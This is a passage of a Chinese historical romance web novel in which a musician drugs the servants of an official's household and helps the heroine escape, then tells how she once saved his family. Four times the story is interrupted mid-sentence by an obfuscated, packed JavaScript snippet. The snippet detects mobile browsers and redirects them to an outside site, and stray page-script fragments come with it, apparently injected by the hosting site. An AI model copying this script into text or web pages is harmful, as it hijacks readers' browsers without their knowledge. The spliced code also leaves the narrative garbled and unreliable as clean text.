她自小被宠惯了，讲起歪理来也底气十足的，比起之前对他视而不见的冷淡模样，如今这般倒颇有些可爱。 他的心情愉悦了不少：“请个琴师上门献奏而已，算不得什么，我可以应下。” 他话锋一转，又续上半句：“不过……” “不过什么？”褚笑眉迎上他的目光，警惕地蹙起了眉。 他倾身凑近她，清越的嗓音吹进她耳中：“夫人总得给我点甜头。” “你想怎么样？”她被他的气息激得一阵战栗，却强忍着没有后退。 “为夫在书房中睡了数月，今夜想与夫人同榻而眠。” 她的脸色又阴沉了几分，气得连嘴唇都在发抖：“不行。” “我不会碰你的。”江铭知晓她在担心什么，柔声哄道，“成婚至今，我何曾有在阿眉不愿的时候强迫过？” 他轻轻扯住了她的衣袖，语调卑微得近乎可怜：“就这一晚。我实在是……太想念夫人了。” 若是在从前，她定然受不住他这副模样；但如今，她已经看透了他一张好面皮下被功名利禄熏出来的脏心烂肺。她提出一样要求，他必要换得一项利益，半点也不肯让步。 但她确实需要见一见孟珵。 她只得点头应下：“好，我答应你。” 既有江铭在，白虹也就不近身守着她了。婢女熄了屋内的烛火，退出去阖上门扉，留下他们二人独处。 黑暗中，一切的感官仿佛都被放大了数倍。她分明并未与他贴着，却能闻到他衣料上浅淡的乌木香，感受到他身上源源不断传来的热度。 “阿眉。”他在耳边唤道。 她不想理他，闭着眼假寐。 她听见江铭轻轻笑了笑：“我知晓你没睡。你入眠时，呼吸会比现在更缓、更匀。” 装睡被人拆穿，她索性往里侧挪了挪，离得与他更远些。布料摩擦发出细碎的声响，在寂夜里格外清晰。 “你到底想说什么？” “你今日应允下来，我很欢喜。”江铭轻声道，“别再推开我了，好不好？只要你不提离开，你想要什么，我都可以给你……” “我想要我家人活过来。”她话音一哽，质问道，“你给得了吗？” “……”江铭一时默然。 他听出来她哭了，伸手去为她拭泪，又被她挡开。他攥紧了拳，指甲深深地嵌进掌心，嗓音因沉痛而喑哑：“我欠你的，往后慢慢补给你。但求阿眉，给我一个偿还的机会。” “褚家、张家上下多少条性命，你怎么还？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548379|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “他们罪有应得。我呈上去的每一条罪证，皆是确凿无疑。”江铭道，“时至今日，我从未后悔走过的每一步，也并不觉得有愧于他们，只是悔恨辜负了你的真心。” 褚笑眉翻身朝向里侧，显然不肯接受他的这一番说辞。 他望着她的背影，低低地叹了口气：“阿眉，等我还这天下以河清海晏，让苍生百姓安居乐业……到了那一日，你会明白我的。” 火红欲燃的榴花飘零在地，背负琴匣的男子垂首而行，小心地避开了这些仍旧娇艳的落花。他跟在引路的婢女身后，穿过日影斑驳的游廊，步入花厅。 他向座上的少女行过礼，道：“较之上回相见，娘子似乎清减了许多。” “京中贵胄为听先生一曲，都抢破了头去，想不到先生竟然还记得我。”褚笑眉道，“白虹，为先生看茶。” 孟珵致了谢，目光移向方几上的缠枝纹五足鎏金熏炉，炉上正有白烟袅袅升起。他又问道：“娘子已点了香？” “是我惯用的玉楼云蜃香。可有什么不妥？” 孟珵道：“娘子有所不知，听琴时最好焚些清淡沉静的香料，方能使人平心静气，领会个中曲意。此香味甜，只怕并不合宜。” 白虹道：“府中还有些沉香，应当正合先生所言。我命人去取来。” “不必劳烦这一趟。”孟珵阻止道，“既要来贵府献奏，在下自然随身带了熏香，换上这一份便是。” 褚笑眉应下，招手示意婢女照做。 自有侍婢上前，铲走炉中未燃尽的香料，再重新铺上孟珵所供的香粉。腾起的清香缭绕扩散，驱走了此前的甜香，盈于满室。 孟珵试过琴音，方才出言询问：“娘子想听哪些曲子？” 褚笑眉本就不通音律，对琴曲知之甚少；眼下思绪更是全然在别处。 这位琴师的言行并无异常，看起来完完全全确实是上门献奏来的，可那张藏于糕点中的字条分明提到了他……这一切究竟是什么意思？ 她含糊应道：“我没什么特别想听的，先生随意就好。” 孟珵微微颔首，奏了一曲《高山流水》。此曲共九段，以朦胧悠远的散音起调，仿若云雾缭绕的山巅；而后转至清幽泠然的泛音，如山中淙淙溪流。 弹至第九段时，音律由低至高，渐渐归于旷远。 厅中侍奉的婢子们脚下似有些不稳，东倒西歪，左摇右晃。只听一声又一声的闷响，她们接连昏倒在地。 “这香……有问题。”白虹内力深厚，药力在她身上起效最慢。她眼前发黑，浑身发软，勉强扶住几案维持身形。 她张口叫喊，声音却细若蚊蚋：“来人……唔！” 孟珵已至她身后，用一方巾帕捂住了她的口鼻。那帕上大抵也浸了药，白虹挣扎了几下，身子便软倒下去。 只有褚笑眉并未受影响，瞪大了双眼看着厅中的变故。 孟珵向她长长一揖，道：“娘子，机不可失，我助你离开。” 35. 第 35 章 厅中横七竖八倒着婢女，褚笑眉的目光扫过去，惊疑道：“这是怎么回事？” 孟珵答道：“我在香料中加了迷魂散，她们吸入太多，暂时昏迷了过去。” “那为什么我没事？” 孟珵道：“娘子之所以要见我，是否因为此前在糕点中收到一张写着我姓名的字条？” “正是如此。” “那是潜伏于江府厨房的兄弟放的。”孟珵解释道，“今日我要燃迷香，也多亏他提前在娘子的膳食中掺入解药，故而娘子并未受药力影响。 “我等布下此局，正是为了救娘子离开。” “要离开谈何容易？” 褚笑眉蹙起眉头，一一道明难处：“这里的侍婢虽被你放倒了，外头仆役来来往往，多的是江铭的眼线；遑论进出府时，门房总是要查验的。” “娘子莫急，我今日既来了，自然已将一切计划完备。” 孟珵揭开琴匣中的软垫，只见其下竟藏着一套仆役的灰衣短打：“请娘子更换此装。” 言罢，他便避到了屏风之后。 褚笑眉褪下满身绫罗，换上粗布麻衣。她从未穿过这样差的面料，肌肤被磨得又疼又痒。 她系好了腰带，将乌发尽数束进头巾，又用绢帕浸了水，把脸上脂粉卸得干干净净。 她本就剑眉杏目，样貌生得明媚大气。如今洗去铅华，身着男装，愈发显出几分雌雄莫辨的俊美。 “先生，我已更过衣了。” 孟珵方才上前，从怀中取出一枚竹制鸟哨，塞入她手中，嘱咐道：“接下来，请娘子去往厨房，在外头吹哨三声。 “那位帮忙的兄弟听见哨声，就会出来相见——他有法子能带娘子出府。” “先生不和我一起？” “我不能与娘子同去。”孟珵摇了摇头，“其一，我随身带着琴匣，目标太大，行动不便；其二，我须得在此处继续弹琴，琴音不歇，方不会令人起疑。” “那先生要如何脱身？” “半个时辰后，我佯作献完琴曲，如常离开即可。娘子不必为我忧心，只要娘子不暴露，便不会有人来查我。”他催促道，“事不宜迟，娘子快些动身罢。” 褚笑眉颔首应下，望向门外的庭院。 江府雕栏玉砌，仿佛一座金笼将她困在其中；她不得不居于仇人篱下，被这浓烈的恨意压得喘不过气来。 初秋的日光铺洒阶前，她跨过软倒在地的侍婢们，行至厅外，走进光里。 碧瓦朱甍的花厅被她抛在身后，厅中奏起《广陵散》一曲，激荡疏狂，直冲云霄。 院中的奴婢往来不绝。 她虽换了衣裳，但这张脸却是遮掩不了的。她低着头，借助山石草木作掩护，尽量藏住身形。一路小心避开来人，终于摸到了厨房外。 她依言将那只鸟哨含在唇间，吹了三响。 厨房中果然走出来一人——那是个三十来岁的胖子，他左右张望了一番，确定没人注意到他，方才循声而来。 他的目光落在褚笑眉脸上，叹息一声，口中说了句：“不行，娘子且再等等我。” 褚笑眉心下疑惑，还没来得及问他是哪里不行，他已自顾自转身离去，又进了厨房。 再度出来时，他抓了一把煤灰，塞进褚笑眉手里：“娘子玉貌花容，一看便知不是做苦差事的下人。您用这个，将脸涂黑一些。” 褚笑眉应下，依言将煤灰在掌中搓开，抹了满脸。 胖子终于满意地点了点头，低语道：“娘子，且随我来。” 褚笑眉垂首跟在他身后。 胖子一面走，一面低声交代道：“眼下正是厨房每日将泔水运出去的时辰。我给同屋的人下了泻药，他来不了，娘子顶替他的位子即可。 “不过这一趟又脏又臭，要委屈娘子一番了。” 褚笑眉道：“只要能逃离江府，其他的都是小事。” 二人走进西边的茅棚，地上放着六只大木桶，其中盛满了混在一起的剩饭剩菜。甫一靠近，一股刺鼻的气味便扑面而来。 “你们怎么才来？”说话这人是个秃顶，衣着比其他人讲究些，看起来是此处的管事。他眯着眼睨过来，语气颇有些不耐烦。 他的目光落到褚笑眉身上，忽地显出些许狐疑之色：“这是谁？罗胜呢？” 胖子憨笑道：“老罗吃坏了肚子，在茅坑里出不来呢。我从别院找了个小兄弟过来帮忙。” 秃顶显然相信了这一说辞，并未多问，只是催道：“屁事真多！赶紧的，别耽误了。” “是是是！”胖子走到泔水桶边，蹲下身去搬。那桶看起来很沉，他搬得摇摇晃晃的，褚笑眉急忙上前帮他搭手。 胖子似乎有些惊讶，抬眸看了她一眼。 二人合力将六只桶都搬上了车，一左一右拉动车柄，往后门而去。 褚笑眉原本还担心行踪暴露，谁知路上遇见的家仆，连看也不多看她一眼，想必以为她是哪处的黑脸杂役。 至于出门时，那两名门房见是送泔水的，更是嫌弃地捂住了鼻子，挥手示意他们快走。 二人畅通无阻地出了府，胖子带着褚笑眉往旁边的窄巷中一拐，道：“辛苦娘子了，我们把车扔在此处就得了。” 褚笑眉担忧道：“活计没做完，你回去能交差吗？” “我还回去做什么？等着被江尚书揪出来，治一个叛主不忠之罪吗？”胖子嘿嘿一笑，“再说了，受人之托忠人之事。孟先生在上庆坊为娘子准备了住处，我还要带娘子过去。” 褚笑眉道了声“有劳”。 穿行在长安城的街巷中，真真切切地踏进这阔别已久的坊市，她忽地生出一种恍若隔世之感。 去岁此时，她尚且与阿菁纵马驰骋、恣意逍遥；不过短短一年时间，褚家与张家突逢巨变，她被困在江府数月，如今终于重见天光。 阿爷，阿娘，阿弟，阿菁，承望哥哥…… 昔日亲友皆遭算计，连尸骨都不知流于何处。怪她错信小人，方才招致祸端。 她回过头，遥遥望向江府的方向，眼眶有些发红，垂在身侧的双手不由得攥紧。 这样的血海深仇，她将来一定会让江铭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568272|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尽数偿还。 胖子带她走进了上庆坊的一处四合院。孟珵虽然动身更晚，但他是乘马车过来的，反倒比他们先到，已在庭中候着了。 胖子拱手道：“先生交代的事，我已了结了。我还赶着回去禀报，就不多逗留了。” 二人同胖子道过别，褚笑眉不由好奇道：“他要回哪儿去？向谁禀报？” 孟珵答道：“回他的主家去，向他的主子禀报。” “他的主子是谁？” 孟珵道：“我也不大清楚。” “你不清楚？”褚笑眉惊讶道，“他出手相助，我还以为你们是朋友……” 孟珵解释道：“他是云间楼的杜老板引荐的，今日也是我与他第一次见面。” “我上次在云间楼见你，要你上门献奏，言语中多有冒犯。当时有位中年人出面劝阻，想必正是杜老板？” “娘子莫要挂怀，我并不觉得冒犯。”孟珵劝解道。 “正是杜老板没错，他与我是旧识。我听闻娘子之事，想要救娘子脱离苦海。但我实在人微言轻，只好向他求助。” 褚笑眉道：“所以刚刚那位兄弟是杜老板的人？” “是，也不完全是。”孟珵道，“京中诸多商户，如八珍居、云间楼等，所谓的老板不过明面上管事的，幕后真正的东家往往是世家贵胄。 “真要仔细论起来，是我求助了杜老板，杜老板又用他的面子，去请求背后的东家相助。” 褚笑眉虽从来不理家中事务，但对于这些也略知一二。无论是褚家、张家，抑或是江铭府上，总有些别的产业，会安排专人去打理。 褚笑眉又问：“那云间楼背靠的究竟是哪一家？” 孟珵摇了摇头：“我只是在楼中献奏的琴师，并不知晓，也不便去打听。 “总之，那位兄弟是他们安插在江府的暗桩——这就是我所知晓的全部了。” 褚笑眉垂下眼眸，暗自思量：江铭将白虹送到褚家做眼线，又有人往江家塞了细作……权贵之间勾心斗角、尔虞我诈，还真是防不胜防。 孟珵见她一时默然，似乎没什么疑问了，方才道：“此处是我一位朋友的私宅，江尚书短时间内应该查不过来，娘子可以暂时落脚。” 褚笑眉环顾四周，打量起这个院落。 宅子不大，仅有一进，但布置得很是用心。正中是天井，种着石榴、枣树、玉兰等树，阶前放着盆栽。正房前置了个青花瓷缸，缸中开着两朵粉荷，碧绿的莲叶间有红鲤游动。 孟珵叹了口气，颇有些歉疚：“和娘子从前的宅邸相比，这里肯定是简陋了些。但我实在寻不到更好的住处了……” “先生说的这是哪里话？”褚笑眉打断了他，极为郑重地福身行礼，“自褚家出事以来，昔日结交的友人唯恐被牵连，都与我断绝了往来。先生愿意涉险相救，又为我筹谋至此，笑眉已是感激不尽。” 孟珵望向她，眸中渐渐蓄起笑意：“何必言谢？是娘子忘记了，我曾欠下娘子一件极大的恩情。” 褚笑眉闻言，愈发不解：“我何时于你有恩？” 36. 第 36 章 “此事说来话长，娘子不如先进屋，我们坐下慢慢说。”孟珵抬手虚虚一引，欠身让她入内。 褚笑眉与他一同落座，老仆捧着茶盘上前，为二人斟上热茶。 这茶淡然无味，若是旧日在褚家，恐怕连侍婢也不会碰。但褚笑眉折腾了半日，又热又渴，仰头便灌下去一整杯。 总算是解了渴，她心神为之一清，开口问道：“你说的恩情，到底是怎么一回事？” 孟珵执起茶壶，又为她重新续上，温声道：“难怪娘子不记得，仔细算来，那已是六年前的事了……” 孟家世世代代以琴艺为生，有一张家传古琴，名曰“绕梁”。家中有训：琴存人在，琴亡人随。 孟珵自小学琴，颇有所成。十三岁时，母亲生了重病，喝的药里不乏名贵药材；短短两年时间，就掏空了家中所有的积蓄，还欠下许多外债。 他不止一次听到母亲说：“就让我去了吧……我不想再拖累你们……” 父亲总是不允。 他发现父亲整日都在外头献奏，回来得越来越晚，琴音从来不敢停歇。往常自持风骨、不屑于侍奉的纨绔膏粱，如今也不得不折下脊梁去逢迎谄媚。 即便如此，负债还是越积越多了。 家中唯一值钱的东西就是那张绕梁琴了——以杉木制成、漆以纯鹿角霜灰，是上好的材质。 他向父亲提议，不如将琴卖掉，置一把便宜些的。既能继续谋生，又能换出不少银两来。 父亲疾言厉斥：“荒唐！‘绕梁’乃是我孟家传世之琴，如何能卖？！” 他不明白，家中已到了这般窘迫的地步，为何偏偏还要守着那琴？ 朔风砭骨的冬夜，窗户纸被风雪吹破了，家中连半点余炭都没了。他又冷又饿，浑身都紧绷着，根本无法入眠。 母亲似乎以为他睡了，声音压得极低，又提起旧话：“我这病……还是别治了。你总得为小珵考虑考虑。” 父亲却没有像从前那样一口回绝，而是陷入了沉默。 半晌，他听见父亲哑着嗓子道：“好。” 翌日，父亲雇了裱糊匠上门修补窗户，还带回来一些新炭，以及一些肉。家中已许久没见着荤腥了，他却并无任何欣喜，饥肠辘辘的腹中连馋虫都不肯骚动。 他默然地接过来，拿去厨房料理。肉的腥味熏得他胸口发闷，好似在釜中烹煮的是母亲的血肉。 他不想让母亲死。 他的目光移向了琴案上那一张绕梁琴。 他不知道为什么，父亲宁可眼睁睁地看着母亲死，也不愿意卖琴。 但在他心里，母亲比琴更重要。 他偷走了绕梁琴，拿去当铺抵押。 这一张传家古琴，在掌柜眼里，只是一把凡琴：“材质倒是不错，但并非名家所制，我只能给四十两。” 他生性孤高，却为钱财磨破了嘴皮子，竭尽此生所有的欺诈和卖惨功力，将价钱谈到了五十二两。 他去药房买了足够母亲吃一整月的药，拎回了家。花去白银二两，还余五十两。 父亲发现丢了琴，又见他带着银子和药材回来，当即什么都明白了，抄起木棍将他毒打了一顿。 可他觉得，他没错。 他不要那传家的劳什子，他要母亲活着。 父亲拽着他去了当铺，要将琴赎回来。 掌柜要价六十二两，父亲闻言怒道：“这琴我们才抵出去半日不到，怎的平白无故涨了十两？” 掌柜道：“长安城中的当铺都是这规矩，抵押一年期的，十进十二出。您要是不信，尽管出去问问。管您要六十二两，那还是给您抹了零头的。” 父亲打听了一圈，果然与掌柜所言无差。 他听见父亲失神地喃喃道：“如今我们手头只余五十两，一年以内，无论如何也不可能挣得到十二两白银……” 若是拿不出钱，契约期至，当铺就可以将那琴卖掉了。 他抬起眼眸，再度提出：“阿爷，人活着，难道不比琴重要？这钱我们就拿去给阿娘治病吧，别赎琴了。” “不行！”父亲坚绝道，又伸手按住了他的肩头，一字一句叮嘱。“小珵，你要记住，我们孟家有祖训——琴存人在，琴亡人随！这一次，阿爷帮你兜底，往后若是阿爷不在，你可一定要护好这琴。” 父亲再次走进了当铺：“好，就六十二两，我立刻就要赎琴。” 掌柜道：“契书可带了？” “带了。”父亲拿出那张从他身上搜到的契书，递交过去，“不过你得让我先验验琴，确认没有损伤。” 掌柜搬出了那张琴，放在柜台上：“您尽管看。我们店是京城中的老店了，从不欺客……” 话音未落，父亲蓦地退后几步，一头向那柜台上撞去。 “阿爷！！”在他惊天动地的哭号中，鲜血从父亲头上涌了出来，溅到了那琴上，渗进木头的纹理。 他踉跄着上前，接住父亲软倒的身子。 难怪父亲说要帮他兜底，原来是想以身殉琴。 这把琴沾上了人命，往后就不会再有旁人愿意接手了。掌柜要么折价卖回给他，要么一直留在铺中，等他以后来赎——无论如何，都不致落入他人手中。 掌柜也被这一变故吓坏了，急忙差人去请郎中。 但这一切都已经晚了，父亲已在他怀中断绝了气息。 他紧紧抱着父亲的尸身，眼泪不断地砸落下来。 是他做错了…… 他不该忤逆父亲的意思，不该偷偷卖掉绕梁琴……他害死了父亲。 少年骤然失怙，跪在地上失声痛哭，围观的人群愈来愈多。 整条街巷都被堵得水泄不通，褚笑眉的车马也塞在其中。最厌恶等待的世家贵女早就不耐烦了，携了婢女下车前去查看。 白虹向周遭的看客问清来龙去脉，简明扼要地回禀于她。 “为了一张琴，竟至于闹出人命来？”褚笑眉问道，“难道人的性命，不比琴更要紧？” 青简 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578151|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出言解释：“士君子者，恒有所持。或传世之珍，或贞松之操，于其心也，重逾性命。” 褚笑眉听不懂这些，又问道：“那琴值多少钱？” 白虹报出一个数目。 “我道是多稀罕的物件，原来只这么点儿。”年仅十岁的高门贵女尚且不知世间疾苦，随手拔下发间的金钗，掷于少年膝前。“喏，拿去赎了你的琴吧。” 那一支钗子远瞧似是金片打成，落到近处才发觉，原来是用极细的金丝层层累成雀形，金雀口中衔着一粒灿灿的红鸦琥，映射下如火光流熠。 一看便极其名贵，有市无价。 他将金钗卖给了识货的胡商，赎回了琴，厚葬了父亲，只花去其中的零头；母亲的药也不用再发愁了。 他从悲痛中走出来，方才想起要去打听恩人的身份。他们告诉他—— “你连那位也不认得？那是吏部尚书褚惟庸的千金，可说是京中鼎鼎有名的贵女了。” “早就想报偿娘子大恩，只是娘子身份贵重，哪里用得上我区区一介琴师？”孟珵垂眸道，“如今有幸能帮上娘子，也不过还恩一二罢了。” 褚笑眉道：“这是哪里的话？你此番出手，助我逃离江府，才是帮了我大忙了！” “更何况……”她移开目光，颇有些不好意思，“当初的事我并不记得，想来我并非有意帮你，只是随手而为。你这般感激于我，我实在受之有愧。” “论迹不论心，不管娘子用意为何，我终究是受了恩惠。” 褚笑眉抬眼觑他神色，试探着问道：“那你娘亲……如今可还安好？” “托娘子的福，我用娘子所赠金钗换了大笔银钱，请来名医为母亲诊治，母亲如今已大好了。” “那就好。”她蓦地想起了什么，又问，“你是亮明身份上江府献奏的，江铭肯定知道是你带走了我。要是他查过来，会不会牵累你们母子？” “在行事以前，我已将母亲送走安置了。至于我自己——”孟珵话音一顿，微笑道，“娘子于我有此等恩情，如今既落了难，我若顾全己身、置之不理，岂非小人所为？” 褚笑眉不由得感叹：“时至今日我方才觉得，人的命运竟是这般轻易被更改。 “我当初随口向国公爷讨要一把绣扇，竟害得刘三娘满门被灭；而随手赠你的金钗，却救下了你娘亲的性命。” 孟珵接口道：“正因如此，方有那一句‘勿以善小而不为，勿以恶小而为之’。 “尤其是身在高位者，一举一动、一言一行，更是能轻而易举决人生死。” 见她似有所悟，孟珵暂时静默，不去打扰。 直到她面上神情重又活动起来，他方才抬手指向座前随侍的老仆，开口道：“还未来得及向娘子引见，这是我那位朋友留下的旧仆，娘子称他‘郑伯’即可。” 褚笑眉见他年事已高，还垂手侍奉在旁，便道：“郑伯，这里暂时用不上你，你先回去歇着吧。” 郑伯却怔在原地，并未动弹。 37. 第 37 章 “郑伯年纪大了，有点耳背。他大概没发现娘子是在跟他说话。”孟珵解释道。 他指了指郑伯，又往外一挥手。郑伯终于会意，低头退了出去。 “娘子下回要吩咐他，不妨用手比划，应该会更便利些。” 褚笑眉点了点头，心下却不免疑惑：“你朋友如今不住在这里了？为何偏偏只留下这样一个耳背的老仆？” “娘子有所不知，”孟珵道，“我那位朋友名叫章正川，曾任给事中知礼仪事。因上书弹劾王丞相结党营私、以及王家外戚干政，已被贬泸州。 “而泸州位于蜀地，道路艰险，极其难走。郑伯年事已高，不便随行，故而才将他留下，看守这间祖宅。” 朝堂中两党分立，私底下流传着一种说法：得罪了靖国公，他会让你死；得罪了王丞相，他能让你生不如死。 王家自前朝起就是京中颇有分量的世家，先帝入京时，正是王家领着一众大臣改朝新主，才有了如今的大雍。且王丞相的长女又入主中宫，做了先帝的皇后，也就是当今太后。 王家可谓是权势煊赫，但凡有人同他们作对，便会被谪去偏远之地——或路途险阻，或瘴疠横行，再难有升迁回京之望。 在这样的朝局下，竟还敢进奏直言，倒真是令人佩服。 褚笑眉感叹道：“难怪能与先生做朋友，原来同样是不慕荣华、宁折不屈之人。” “娘子谬赞了。”孟珵又道，“郑伯在宅中负责看家和洒扫，我同他交代过了，娘子住进来后，他会多做一份饭菜。” 言及此处，他不由得叹了口气：“可惜没有侍婢伺候。如今娘子正在躲藏，又不方便往宅中添人，只好委屈娘子亲力亲为了。” “无妨。”褚笑眉道，“我既离开了江府，往后这些事，迟早要学着自己做的。” 说者无意，落在孟珵耳中，却令他心生几分怜惜与歉疚。 从前十指不沾阳春水的高门贵女，如今由他照看着，竟只能住在一隅小院中，连个近身侍奉的人也没有。 他于腰间摘下钱袋，搁在二人之间的方几上：“娘子刚从江府逃离，这几日江尚书肯定会大力搜寻。娘子尽量少出门，若是缺些什么，就叫郑伯出门添置。 “等风头过去，我想办法将娘子送出京城。” 褚笑眉却道：“我还不能离京。褚宅中有一样东西，尚且等着我去取。” 小臣曾告诉她，阿爷的书房中有一个暗格，其中藏着一枚半月形玄铁令符，是她家传的信物。她须得拿到手，才好追查自己的身世。 孟珵皱起了眉：“褚宅已被查封，娘子要想进去，可谓是难如登天。” “先生知交满天下，也没有办法？” “抄家是圣上的旨意，又是刑部动的手……刑部如今正由江尚书掌管，只怕很难在他眼皮子底下蒙混过关。” 孟珵叹息道：“我帮娘子打听打听吧。不过娘子还是别抱有太大希望，以免结果不如人愿。” 孟珵不敢耽搁得太久，等江府的人反应过来，他肯定是首要的搜查目标。 说完要紧事，他便告辞离去了。 日头斜斜地坠下去，在天边燎起绯红的火烧云。青砖被烘烤的余热未散，江府中的奴婢已在地上黑压压地跪了一片。 白虹跪在最前，伏身叩首道：“主子，都是奴婢一时疏忽……” “一时疏忽？这话我已是第二回听了。”江铭冷笑着打断，话音中隐隐压抑着怒气，“区区一个琴师就能把人带走，我从前是怎么教导你的？” 白虹咬了咬下唇，答道：“主子说过，防患于口腹之间。饮食熏焚之物，入体易为奸人所投毒，尤须慎之。” 厨房往褚笑眉的膳食里添了解药，她没能察觉；孟珵在熏香里加了迷香，她头晕目眩时方才反应过来，却为时已晚。 她太过大意，没什么能为自己辩驳的。 “我看这些年在褚家的日子，你果真是过得太懒怠了。”江铭道，“我给你七日时间，若找不到她，你便自行回金陵去罢。” 他官服的袍角被风裹挟吹起，猎猎地笞在她颊侧，她的眼眶红得厉害：“求您别赶走奴婢。” 她潜伏八年，好容易才成为他手中最得力的细作，又怎能甘心做一枚失败的弃子？ “奴婢已派人去找了，定会将夫人寻回……” 似是为了印证她的话，一名家仆前来禀道：“阿姊，查到孟珵的住处了。” 白虹被江铭一手培养出来，如今又是夫人的贴身侍女，在奴婢中地位颇高，故而其他人皆尊她一声“阿姊”。 江铭睨她一眼：“去吧，别再让我失望。” “是。”白虹垂首应下，“倘若辱命，奴婢甘愿提头来见。” 众人皆随她告退，那来报的家仆跟在她身侧，继续道：“小人已然得知，孟珵住在惠河坊水安巷东四。阿姊，要不要直接带人过去？” 白虹蹙眉摇了摇头：“我与此人短暂碰过面，是个有气节的，逼问恐怕也问不出什么来。” 她略微思量，吩咐道：“先不要打草惊蛇，叫几个轻功好的轮番跟着，另遣一批人去查他的底细。其余的仍旧散出去，于京中搜寻夫人的踪迹。” 正是晚膳的时辰，家家户户升起袅袅炊烟。 褚笑眉迈进了厨房，只见灶上已摆了两荤一素。郑伯搅动着釜中的枣沫糊，热得满头大汗，一看见她来，咧开一口大黄牙嘿嘿一笑：“娘子饿了？这是最后一道菜，马上就好。” “我不急。”褚笑眉道，“只是一个人待着无聊得紧，所以过来看看你。” 郑伯自顾自地继续道：“这就出锅了。娘子出去等吧，厨房里烟大，又热得很。” 褚笑眉这才想起来他耳背，大概压根没听见她说的话。 郑伯年纪实在是很大了，往碗里盛汤糊时，手上有些发抖，洒了几滴出来。 褚笑眉从他手中接过铁勺：“我来吧。” 那两荤一素一汤都摆到了正厅，郑伯自己只留了一道素食，要端回下房里去吃。 “郑伯。” 老仆步履未顿，褚笑眉知他是没听见，高声又唤了一遍：“郑伯——！” 郑伯终于停下了脚步，躬身问道：“娘子有何吩咐？” “你就吃那么一点吗？”她提高音调，放慢语速，尽量说话简短，以求让他听得明白。 郑伯道：“有劳娘子挂心，小的吃这些足够了。” 今晚的菜都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604091|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是郑伯辛苦做出的，她一点忙也没帮上，反倒大多数都摆上了她的餐桌。 郑伯退下后，她颇有些食不知味。思量许久，还是端起了其中那盘蒸鸭，去下房寻他。 郑伯斟了杯酒，正就酒吃菜，看见她的身影，急忙要将酒藏起来。 “不必藏了。”褚笑眉将手中端着的蒸鸭搁到桌上，含笑扬声道，“有肉下酒，不是更好？” 郑伯起身道了谢，木讷地问道：“娘子要不要喝些酒？” 话已出口，他方才觉察问得不妥。他的酒并不好，此处又是仆役居住的下房，况且哪有仆人邀客人喝酒的道理？ 他连忙补充道：“娘子若是想喝，小的去给娘子买些好酒回来。” 谁料褚笑眉竟于桌边落座，应了下来：“郑伯要是舍得，不妨直接将酒分我一杯。” 怕他听不清，她还指了指他的酒壶，以及一旁的空酒盏。 郑伯依言为她斟上：“这酒劲大，娘子喝慢些。” 辛辣之味入喉，烈酒滚进腹中，带得周身都暖融融地烧了起来。 这样的感觉令她生出几分畅快，她豪饮了一整杯，倒让郑伯有些吃惊。 几杯酒下肚，二人有一搭没一搭地聊了起来。 褚笑眉问道：“郑伯，你的儿女也都随章大人去泸州了吗？” “小的并未娶妻生子，一直都是孤身一人。” 褚笑眉眸光一颤，又问：“一个人……是什么滋味？是好，还是坏？” “说好也好，说坏也坏。”郑伯已有些醉意，眼睛微微眯了起来，老脸的皱褶沟壑愈发深了。 “一个人……没有什么好牵挂的，所以自己吃饱喝足就行，活得一身轻松；但也不会被别人牵挂，有时候会觉得很孤独，好像于这世间而言，多我一个不多，少我一个也不少。” 褚笑眉默然，又灌下去一杯酒。 她忽地明白为什么有人喜好饮酒，她心中数月以来压抑的痛楚，仿佛都随着烈酒下肚，找到了宣泄的出口。 “娘子……酒量不错……”郑伯一句话说得磕磕绊绊。褚笑眉发觉他醉了，将他扶到床榻上。 褚笑眉看着剩下的小半壶酒，留下一粒碎银，将那酒顺走了。 这一场共饮之后，二人就此熟识了。老的一生无子，少的骤然失亲，眼下凑到一处，竟有了家人彼此陪伴的意味。 郑伯做饭、洒扫时，她总去帮手；老人家发现她爱酒，从前自己只舍得买最便宜的烈酒，而今却买了许多不同的美酒，请她一同品尝。 五个日夜转瞬即逝。 